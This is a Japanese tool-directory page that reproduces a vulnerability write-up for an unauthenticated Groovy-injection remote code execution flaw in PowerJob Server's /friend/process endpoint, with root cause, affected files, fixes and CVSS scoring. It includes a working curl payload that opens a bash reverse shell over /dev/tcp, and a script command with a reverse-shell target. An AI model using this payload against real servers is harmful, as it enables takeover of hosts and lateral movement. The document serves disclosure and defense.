Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/unpredictable21/cve-2026-75429_powerjob_friend_process_rce
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセストロイの木馬
GitHubunpredictable21/cve-2026-75429_powerjob_friend_process_rce

CVE-2026-75429_PowerJob_friend_process_RCE

PowerJob Serverの/friend/processエンドポイントにおけるGroovyインジェクションを介した未認証のリモートコード実行エクスプロイトで、任意のコマンド実行とリバースシェルを可能にします。

リポジトリを見る
25日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PowerJob Server における未認証の /friend/process(Groovy インジェクション)によるリモートコード実行

1. 概要

PowerJob Server(分散ジョブスケジューリング/コンピューティングフレームワーク)は、Worker↔Server 間トランスポート層の HTTP ポート 10010 において、/friend/process エンドポイントを一切の認証なしで公開しています。このエンドポイントは、任意の Spring Bean の任意のパブリックメソッドをリフレクションで呼び出します。攻撃者が GroovyEvaluator.evaluate を呼び出すことで任意の Groovy 式を実行でき、未認証のリモートコード実行が可能になります。デフォルトの docker-compose はこのポートを 0.0.0.0 に公開しているため、サーバーは認証情報なしで完全に侵害される可能性があります。

2. 影響を受ける製品

  • 製品: PowerJob(分散ジョブスケジューリング/コンピューティングフレームワーク)
  • 影響を受けるバージョン: 5.1.2(トランスポート層の設計は以前のリリースから引き継がれています。旧バージョンも同様に影響を受けます — 4.x〜5.1.2 を報告)
  • ソースリポジトリ: https://github.com/PowerJob/PowerJob
  • デフォルトのデプロイ: docker-compose.yml:29-33,47-48 は 10010(HTTP トランスポート)、10086(AKKA)、10077(MU)をホストの 0.0.0.0 に公開
  • 3. 脆弱性の箇所

    項目値
    トリガーとなるエンドポイントPOST http://<server>:10010/friend/process
    登録FriendActor.java @Actor(path = "friend") + @Handler(path = "process")(HTTP/MU/AKKA の全 3 プロトコルで登録)
    リフレクションによる実行RemoteRequestProcessor.processRemoteRequest()
    危険なシンクGroovyEvaluator.evaluate() → ScriptEngine.eval()
    認証の欠如HttpVertxCSInitializer(HTTP)/ MuServerHandler(MU)はトークン/署名チェックなしでルートを登録

    主要なソースファイル(リポジトリルートからの相対パス):

    • powerjob-remote/powerjob-remote-impl-http/src/main/java/tech/powerjob/remote/http/HttpVertxCSInitializer.java(10010 のルートを登録、認証なし)
    • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/FriendActor.java:40-53
    • powerjob-server/powerjob-server-remote/src/main/java/tech/powerjob/server/remote/server/redirector/RemoteRequestProcessor.java:17-37
    • powerjob-server/powerjob-server-core/src/main/java/tech/powerjob/server/core/evaluator/GroovyEvaluator.java:17-28

    4. 根本原因

    1. トランスポート層での認証ゼロ: PowerJob は Worker と Server 間の通信プロトコル(HTTP/AKKA/MU)を「内部信頼」ゾーンとして扱います。ポート 10010/10086/10077 に到達できるホストはすべて正当なノードとして扱われ、ハンドシェイクも署名もありません。
    2. 任意の Bean リフレクション: RemoteRequestProcessor.processRemoteRequest は、リクエストボディの className、methodName、parameterTypes、args フィールドを完全に信頼します。Class.forName + SpringUtils.getBean を使用して任意の Spring Bean を取得し、Spring の ReflectionUtils を介してその任意のパブリックメソッドを呼び出します。
    3. 危険なメソッドに到達可能: GroovyEvaluator は @Component Bean であり、その evaluate(String, Object) は Groovy スクリプトエンジン(ScriptEngineManager)を呼び出して、攻撃者の式を直接 eval() します。

    これら 3 つの組み合わせが未認証の RCE となります。

    5. 攻撃シナリオ(前提条件: ポート 10010 へのネットワーク到達性のみ)

    1. 攻撃者は PowerJob サーバーのポート 10010 に HTTP POST を送信します(Cookie/Token は不要)。
    2. リクエストボディは、任意の Groovy 式(例: 'id'.execute().text)を指定して GroovyEvaluator.evaluate をターゲットとする RemoteProcessReq JSON です。
    3. サーバーはリフレクションでメソッドを呼び出し、Groovy エンジンが式を評価します。
    4. コマンド実行の結果は AskResponse.data(base64 JSON)で攻撃者に返されます。
    5. 攻撃者は Groovy を使用して任意のファイルの書き込み、リバースシェルの起動、データの外部送信も可能です。

    6. 再現(検証済み)

    環境: JDK 17、ソースビルドの powerjob-server-starter-5.1.2.jar(daily プロファイル)、サーバーは 192.168.49.128:10010 で待ち受け。JDK 21 でも再検証済み(下記のシェル形式ペイロードは両方で動作します。File.write に関する注記を参照)。

    root@kitploit:~
    curl -s http://192.168.49.128:10010/friend/process -H 'Content-Type: application/json' -d '{
      "className": "tech.powerjob.server.core.evaluator.GroovyEvaluator",
      "methodName": "evaluate",
      "parameterTypes": ["java.lang.String","java.lang.Object"],
      "args": ["['/bin/sh','-c','bash -i >& /dev/tcp/reverseip/reverseport 0>&1 &'].execute().text", null]
    }'
    

    実際の応答: {"success":true,"data":"InJldmVyc2Utc2hlbGwtbGF1bmNoZWQi"}。data フィールドを base64 デコードすると、サーバー JVM 上で実行されたコマンド出力が得られます:

    image

    あるいは、スクリプトを使用して再現することもできます:

    python3 powerjob_friend_process_rce.py 192.168.49.128:10010 --reverse-shell 192.168.3.17:7878

    7. 観測された動作と期待される動作

    • 観測された動作: 未認証の HTTP リクエストにより、サーバーが任意のコマンドを実行します。
    • 期待される動作: /friend/process は Server↔Worker 間の内部通信の一部です。未認証のリクエストを拒否するか、このメソッドがそもそもリモートから呼び出し可能であってはなりません。

    8. 影響

    • 機密性: 高 — サーバー上の任意のファイル/メモリ/認証情報を読み取ることが可能。
    • 完全性: 高 — 任意のファイル書き込み、設定やジョブの改ざんが可能。
    • 可用性: 高 — プロセス/サービスを終了させることが可能。
    • 影響範囲: サーバープロセス → ホスト(サービスユーザーの権限で)。デフォルトのデプロイでは、攻撃者はホストの内部ネットワークへ横展開できます。

    9. 推奨される修正

    1. トランスポート層に Server/Worker 間の相互認証(トークン/署名)を追加し、送信元を検証します。10010/10086/10077 をパブリックインターネットに公開しないでください。
    2. RemoteRequestProcessor を許可リスト方式に変更します。className/methodName をフレームワーク定義の安全なハンドラに制限し、任意の Bean のリフレクション呼び出しを禁止します。
    3. GroovyEvaluator のリモートからの到達可能性を削除するか、厳格に制限します(残す必要がある場合は、認証とサンドボックスを追加)。
    4. /friend/process(S4S_HANDLER_PROCESS)をデフォルトで無効化するか、内部ソースのみに制限します。

    10. CWE

    • 主: CWE-94(コード生成の制御不備 — Groovy インジェクション)
    • 副: CWE-470(クラスまたはコードの選択に外部制御入力を使用 — 任意の Bean リフレクション)、CWE-306(重要な機能に対する認証の欠如)

    11. CVSS

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical

    12. 環境

    • OS: Ubuntu 22.04 / Linux 6.8
    • JDK: 17.0.19(最初の再現); OpenJDK 21.0.11 で再検証済み
    • ビルド: Maven 3.6.3、mvn -B -DskipTests -pl powerjob-server/powerjob-server-starter -am package
    • データベース: MariaDB 10.6(不要 — /friend/process はデータベースなしでトリガー可能)
    • 実行: java -Xmx512m -jar powerjob-server-starter-5.1.2.jar --spring.profiles.active=daily ...
    ツールをダウンロード